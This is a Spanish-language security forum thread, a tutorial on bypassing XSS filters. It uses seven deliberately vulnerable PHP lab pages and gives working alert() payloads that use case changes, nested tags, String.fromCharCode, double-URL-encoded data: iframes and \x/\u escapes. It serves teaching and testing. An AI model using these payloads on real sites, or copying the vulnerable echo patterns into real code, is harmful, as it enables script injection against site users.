Underc0de

[In]Seguridad Informática => Seguridad web y en servidores => Mensaje iniciado por: rollth en Marzo 21, 2018, 03:37:35 PM

Título: Avanzando con las XSS's [PARTE 2]
Publicado por: rollth en Marzo 21, 2018, 03:37:35 PM
Muy buenas Underc0ders,

hoy vamos a seguir avanzando con las XSS para llegar a entenderlas lo mejor que podamos, antes de continuar, aconsejaría leer estos dos Posts.

Básico sobre XSS (como explotarlo): https://underc0de.org/foro/talleres-underc0de-213/taller-de-seguridad-web-1/
Como explotar XSS por método post y hacer que se propague nuestro script: https://underc0de.org/foro/seguridad-en-servidores/avanzando-con-las-xss's/msg105998/#msg105998

En este caso vamos a ver como explotar la XSS en diferentes casos y saltar una buena cantidad de filtros.

Vamos a empezar por un caso básico, imaginemos que tenemos este código.

Código (php) [Seleccionar]

<html>
<title>XSS 1</title>
</html>
<body>
<form action="xss1.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$color "black";
$color $_GET["texto"];
echo '<p style="color:' $color '">Esto es un texto</p>';

?>

</body>


Cuando aprendemos sobre XSS nos dicen que para hacer saltar la alerta tenemos que poner algo de este estilo: "<script>alert("XSS")</script>".
El problema es que en este caso se mete dentro de un atributo de <p> por lo que quedaría de la siguiente forma sin ejecutarse.
(https://image.ibb.co/mXSsHx/Captura_de_pantalla_de_2018_03_21_02_00_16.png)

Para hacer que salte la alerta debemos salir de este atributo, podríamos hacerlo de la siguiente forma:
"><script>alert("XSS")</script> || Quedaría así: <p style=""><script>alert("XSS")</script>

De esta forma nos saltaría la alerta.

(https://image.ibb.co/bSmf4c/Captura_de_pantalla_de_2018_03_21_02_08_13.png)

Vamos a poner un caso parecido, la diferencia es que ahora la información que nosotros le damos la mete en un javascript, veamos el código.

Código (php) [Seleccionar]

<html>
<title>XSS 2</title>
</html>
<body>
<form action="xss2.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto $_GET["texto"];
echo '<script>var a="' $texto '";if(a=="Hola"){document.write("Hola amigo")};</script>';

?>

</body>


Si metieramos el típico "<script>alert("XSS")</script>" quedaría de esta forma y no se ejecutaría.
(https://image.ibb.co/cR9gcx/Captura_de_pantalla_de_2018_03_21_02_24_22.png)

Lo que vamos a hacer es cerrar el String y ponemos nuestro código directamente:

"; alert("XSS"); a="texto || Quedaría así: var a=""; alert("XSS"); a = "texto";if(a=="Hola"){document.write("Hola amigo")};

De esta forma sí nos saltaría la alerta.

(https://image.ibb.co/i9H6AH/Captura_de_pantalla_de_2018_03_21_02_28_01.png)

Ya es hora de ver el primer filtro, miremos primero el código.

Código (php) [Seleccionar]

<html>
<title>XSS 3</title>
</html>
<body>
<form action="xss3.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto $_GET["texto"];
$banned   'script';
$pos strpos($texto$banned);
if($pos === false){
echo $texto;
}
else{
echo '<p>Filtro AntiXSS</p>';
}

?>

</body>


Lo que estamos haciendo aquí es enviar un mensaje de error en caso de que la subcadena 'script' esté dentro del string. Veamos lo que sale con nuestro clásico "<script>alert("XSS")</script>".

(https://image.ibb.co/fmjBAH/Captura_de_pantalla_de_2018_03_21_02_52_09.png)

En este caso tenemos dos formas de abordarlo:
- <SCRIPT>alert("XSS")</SCRIPT> || Esta función es KeySensitive por lo que no lo detectaría con mayusculas.
- <body onload=alert("XSS")> || Se puede ejecutar JavaScript a través de una etiqueta y un evento.

Os dejo aquí una lista de eventos: https://www.aprenderaprogramar.com/index.php?option=com_content&view=article&id=842:lista-de-eventos-javascript-on-click-dblclick-mouseover-mouseout-change-submit-keypress-cu01159e&catid=78&Itemid=206

De estas formas nos saltaría la pantallita.

(https://image.ibb.co/dPyA4c/Captura_de_pantalla_de_2018_03_21_02_58_38.png)

Veamos un nuevo filtro, en este caso lo que hace es eliminar todo lo que pueda hacer que se ejecute código javascript sin ser keySensitive, veamos el filtro.

Código (php) [Seleccionar]
<html>
<title>XSS 4</title>
</html>
<body>
<form action="xss4.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto $_GET["texto"];
$banned   = array('<script>''</script>''onload''onerror'' onmousemove''onkeypress');
$texto str_ireplace($banned""$texto);
echo $texto;


?>

</body>


Veamos que ocurre si ponemos nuestra prueba mágica.

(https://image.ibb.co/fF1DPc/Captura_de_pantalla_de_2018_03_21_03_28_54.png)

La forma de saltar este filtro es la siguiente:
-<scr<script>ipt>alert("XSS")</scr</script>ipt> || De esta forma eliminaría las etiquetas que hay de sobra y quedaría perfecto para ejecutarse.

Veamos si salta la alerta.
(https://preview.ibb.co/epcyqH/Captura_de_pantalla_de_2018_03_21_03_32_44.png)

Podemos proseguir, en este caso cuando detecta unas comillas le añade el caracter "\" bloqueando que se abran y se cierren strings, por lo que la técnica de poner algo en medio no nos valdría, ya que sería todo eliminado. A esta técnica de filtrar se le llama "Magic Quotes". Tambien se puede dar el caso de que elimine todo lo que hay dentro de las comillas incluidas estas. Veamos el código.

Código (php) [Seleccionar]
<html>
<title>XSS 5</title>
</html>
<body>
<form action="xss5.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto $_GET["texto"];
echo addslashes($texto);


?>

</body>


Veamos lo que pasa si enviamos nuestro script mágico.

(https://image.ibb.co/cro1ec/Captura_de_pantalla_de_2018_03_21_17_17_41.png)

Para saltar esto y podes añadir Strings lo haremos de la siguiente forma:

- <script>alert(String.fromCharCode(88,83,83))</script> || De esta forma se crea un String con los valores introducidos dentro de la tabla char.

Podemos ver la lista de valores aquí: http://blog.vermiip.es/2008/08/28/tabla-codigos-chr-ascii-char-code/

Veamos si de esta forma nos salta la alerta.

(https://image.ibb.co/cFSisx/Captura_de_pantalla_de_2018_03_21_17_22_31.png)

Veamos un nuevo filtro, ahora nos va a eliminar los parentesis, para que no podamos llamar a funciones en javascript, el código quedaría así:

Código (php) [Seleccionar]
<html>
<title>XSS 6</title>
</html>
<body>
<form action="xss6.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto $_GET["texto"];
$banned = array('('')');
$texto str_ireplace($banned""$texto);

echo $texto;


?>

</body>


Y quedaría así cuando intentamos con nuestro truco principal.

(https://image.ibb.co/gprkpc/Captura_de_pantalla_de_2018_03_21_18_29_33.png)

Primero vamos a ver como quedaría el filtro y después vemos como funciona:

- <iframe src="data:text/html, %253c%2573%2563%2572%2569%2570%2574%253e%2561%256c%2565%2572%2574%2528%2522%2558%2553%2553%2522%2529%253c%2f%2573%2563%2572%2569%2570%2574%253e"></iframe>

Lo primero que tenemos es la etiqueta iframe, esta etiqueta sirve para cargar contenido exterior con el atributo src, viene de source y está pidiendo el enlace de donde cargamos el contenido.

Dentro de esta etiqueta tenemos data:text/html, aquí estamos diciendo que la información que le vamos a pasar información de tipo html, este acepta la codificación URL encode.

Esta codificación se usa en los navegadores para pasar información, y consta de un "%" y un número hexadecimal.
Podemos ver la tabla hexadecimal aquí: https://ascii.cl/es/
También podemos usar esta herramienta poniendo % como limitador.
https://www.rapidtables.com/convert/number/ascii-to-hex.html

Si codificamos <script>alert("XSS")</script> a URL encode quedaría de la siguiente forma:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%58%53%53%22%29%3c%2f%73%63%72%69%70%74%3e

El problema es que si lo ponemos así en el navegador este lo transformará a texto normal, por eso vamos a hacer una nueva codificación con este sistema, así al navegador transformarlo quedará como lo acabamos de enseñar que es como nos interesa. Quedando así:

25%33%63%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%32%32%25%35%38%25%35%33%25%35%33%25%32%32%25%32%39%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65

A esta técnica se le conoce como doble URL encode. Veamos si nos salta la alerta.

(https://image.ibb.co/hmnTaH/Captura_de_pantalla_de_2018_03_21_18_43_04.png)

Por último vamos a ver como podríamos byppas como podríamos hacer un bypass de un htmlentities. Partiremos del siguiente código.

Código (php) [Seleccionar]

<html>
<title>XSS 7</title>
</html>
<body>
<form action="xss7.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto $_GET["texto"];
echo '<script>var a="' htmlentities($texto) . '";document.write(a);</script>';

?>

</body>


Veamos que pasa si introducimos el script que hemos estado usando todo el rato.

(https://image.ibb.co/fmMzhx/Captura_de_pantalla_de_2018_03_21_19_16_21.png)

Para byppasear esto lo haríamos de dos formas diferentes, primero las veremos y luego las explicamos.

- \x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e
- \u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0058\u0053\u0053\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e

Javascript tiene varias formas de introducir caracteres, y es la propia consola la que lo transforma. Además esto son carácteres que el htmlentities no filtra.
Por eso al pasarlo por document.write() esto se escribe de una forma normal y se ejecuta. Este filtro para htmlentities solo se podría usar en casos como este.

En el primer caso lo estamos guardando como hexadecimal, con el limitador \x, podemos hacerlo con la misma herramienta de antes.

En el segundo caso lo que estamos guardando son carácteres unicode, con el limitador \u00. Podemos ver la lista de carácteres unicode aquí: https://unicode-table.com/es/

Y podemos usar esta herramienta poniendolo en C/C++ source para hacerlo más rápido: http://textmechanic.com/text-tools/format-tools/ascii-unicode-converter/

Veámos si salta la alerta.

(https://preview.ibb.co/n0tWUc/Captura_de_pantalla_de_2018_03_21_19_26_41.png)

Bueno chicos, por hoy hemos terminado, las XSS tienen el plus de ser una vulnerabilidad muy divertida por tener mucho juego, esto son solo unas técnicas mas o menos comunes, pero ya verán que con esto tendrán que jugar y mezclar las diferentes técnicas o reinventarlas.

También me pueden seguir en Twitter si les hace ilusión: @RoloMijan (https://twitter.com/RoloMijan)

Saludos.

Título: Re:Avanzando con las XSS's [PARTE 2]
Publicado por: K A I L en Marzo 21, 2018, 08:49:39 PM
Excelente post! Me viene muy bien, estoy medio novato en XSS! Gracias por compartir conocimiento!

Saludos!
Título: Re:Avanzando con las XSS's [PARTE 2]
Publicado por: KiddArabic en Marzo 21, 2018, 09:39:16 PM
excelente post ya veo porque aveces no sale el xss
Título: Re:Avanzando con las XSS's [PARTE 2]
Publicado por: rollth en Marzo 22, 2018, 02:13:48 PM
Muchas gracias por los comentarios chicos.
Espero que os haya resultado útil.

Saludos.